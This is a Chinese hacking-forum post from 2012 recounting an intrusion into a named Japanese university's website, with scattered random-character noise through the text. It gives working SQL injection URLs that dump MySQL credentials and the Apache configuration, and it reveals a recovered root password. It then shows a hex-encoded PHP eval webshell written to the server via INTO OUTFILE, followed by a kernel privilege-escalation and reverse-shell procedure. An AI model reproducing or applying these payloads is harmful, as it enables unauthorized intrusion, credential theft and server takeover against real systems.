找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2555|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析
7 t3 L7 u1 S9 h& y$ N8 G  C$ Q
; a8 ~2 V' m# h  |http://www.doshisha.ac.jp/chs/news/index.php?i=-1
/ w. S1 V$ B/ B( j% z然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:/ T  S; I: O$ p! Y' E
" o5 Y; Z2 E$ |% r/ k9 a5 [
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
4 y) O" ?4 L1 `% s/ |
" F( u% P3 [0 N$ g) I- w 1 Y) U" i5 B( T: t: S. c5 e

' k0 ]# Y* J( v- L3 c* h# P8 _//@@datadir为数据库文件路径
0 \+ \, Z2 r+ V( x
( }  b3 m& T3 o- w2 c* U, `7 H+ o
//load_file读取网站容器apache的配置文件 4 `* s, \. Y9 x/ q7 U5 ^7 R, R. G
9 u6 ?, l/ H* H/ R" S3 g

" a5 u& C+ V+ e9 K: Y* f//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
, f, Z- K$ T# t; X2 W1 B复制代码
% \. ?) O' _# W& \
/ s, r; P/ |8 J2 g. \虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。4 v' m6 x1 D2 l4 r! x( `
. A4 i0 r# p  Y
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。, y+ n! F5 i8 r& a4 Y" W8 P# N
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
& Y% M& P/ `* M( [
+ t1 v$ r$ X$ L前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。9 u7 R4 A9 J7 B% T0 C6 [, L
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
8 ]) ^# s' e0 U- i0 o7 C7 w* n3 Z2 T' [4 m
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/+ H) s; l' E7 r; }
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
+ O) K5 a5 z/ n1 _' s% U3 y2 z  s直接写一句话:
$ i6 ]7 k# ~4 ?( X
  |- P& w& U. v& jhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#. |1 m* f1 n3 F# p( S  n& J
. y3 q3 i7 y% j

7 y  [3 [, \$ `9 a( w8 ?. ?& t( Y' C+ w0 h1 I4 e
//最后的#是为了闭合前面的语句
, V3 K. |7 Y9 ]# J+ L( I1 _+ b ) \8 s2 I- H3 m- ~# c  @6 t1 {, T
, U" f4 x; Y% V) t2 f
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
& S: e$ N3 T. w% C/ r 6 v8 u, r2 ?- G( o1 }. C
/ D. Y4 ^8 [' B3 v  ]
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ & O* y1 x8 y3 ~

! `" f+ a! u) u. ~1 Q
' ~% T% f0 b: z+ R$ `//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
8 l2 A1 A( ^8 D! g
; X% _: D- N$ ^; f8 n5 q
$ y5 i# C4 P* z, q6 @% `/ I/ d( z//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
: T; Z( m: m5 L/ y//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
6 c' S5 Z7 [; H/ k复制代码
/ B3 G1 c3 V+ b0 V$ b( Q, L. q2 g2 {/ p* S, ~  T) g
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有5 G4 j& h/ a( e( L. d
通过上述注入语句,我们就得到了一句话木马:& d7 [6 M9 @/ S9 k3 p7 D) T

5 T9 W4 X$ L) A- r  S( n- n/ t" p2 ? ' Y) ]& I: T9 R+ _
7 L3 C5 [5 z( L; E7 k: U/ D

. ]. e% ^7 t, u' W2 ~1 m( [5 Y
1 `1 x- ?- u8 z& h; J$ I$ V( K  |http://www.doshisha.ac.jp/english/engnews_img/aa.php
7 H9 ~9 l1 D) i2 y5 }  g9 o复制代码' K1 }; f' g* Z7 G
' Q( y6 u  q/ W$ ~  o- Y
用菜刀连接,密码是cmd,如图所示:
, n1 d, E0 {4 v3 V# s然后在命令提示行里看了一下,现在的权限是:# @* A; p+ S8 n/ h" u% j0 v) m
! q- F) N$ p, S& @5 u9 ^4 Q
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
# M% B& z0 ?& U. C好在赋权给这个文件夹不需要root,直接执行赋权语句:1 J" S- s3 u) E
4 v3 k: M  @( h! ?4 z; _- R

5 K1 I4 I' b, Y, R) t8 P4 w7 Z6 e& K- o

+ o+ Q/ w4 u* O' _
( X$ c/ d  {8 d8 bchmod +x /tmp/
! X0 u/ Q) r( R- J7 f! F7 k7 i复制代码
' q+ t; T. s7 f' `2 ~2 B4 h( j: n5 L, l; Q# Z' y. h
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行% K8 p( H3 P/ r. X: D4 x" K
然后就查了一下内核版本:9 ~2 k- z2 X- o5 w

6 D3 W6 j9 M5 |; K6 x2 p. W6 W% m
% W9 ~7 L0 C' l" o. q
+ ?  p/ H: m/ q# g2 v
; E7 B1 [# c8 |6 G8 H2 ^+ c+ e3 n2 o1 N+ D) Z5 K( ]4 p- K7 ], }6 E
uname-a 4 M, v% I4 Q2 e0 m! A

+ n. g$ d& E6 s# R, |5 V/ F1 U# k! r0 x+ F) i/ q$ Q& Q4 v+ H9 w
//其实lsb_release -a
1 G0 z9 D) ^! E( F# Z复制代码8 b% f) Y, c$ u/ Z6 E2 M1 a
2 V7 g0 d9 I0 c7 E
如图所示:
6 u4 [; Z; V! u; }( T0 Z4 T: C* |( G0 B. O# O4 T% t) j
内核版本:linux mainz1 2.6.28-194.e15
, S) K! U! y5 m2 O系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
  r! R% y. M1 S查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
( B# f- u( p  a" I5 E7 |6 h. `% V; n. t
然后给予执行权限
1 {- S8 V* m5 U! {5 j. _一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
* R0 b4 X( O/ r  R( Z
( ~& I2 x9 ^7 T( M& D 3 q" o/ u. V  q% P9 j+ @
8 P# e5 x0 |7 K! Y$ y
2 R7 b0 v4 V; \  J9 l1 L0 w! [

" V/ q$ w4 t$ L4 H1 bchmod +x /tmp/2.6.18-194 ' |6 h: l0 H, R0 X# R
复制代码 然后直接执行!~
% ~* T% ]. W5 W+ N7 ?- @
, j* s  n3 G2 C* l总结:- a% W4 ~, j# q1 `  _% x* p
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
; e  S. s' d9 K. i& H$ e6 s( R) Y+ N提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
) o, G7 A" z  J1 r* g* Q
7 R, G- l8 _1 Z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表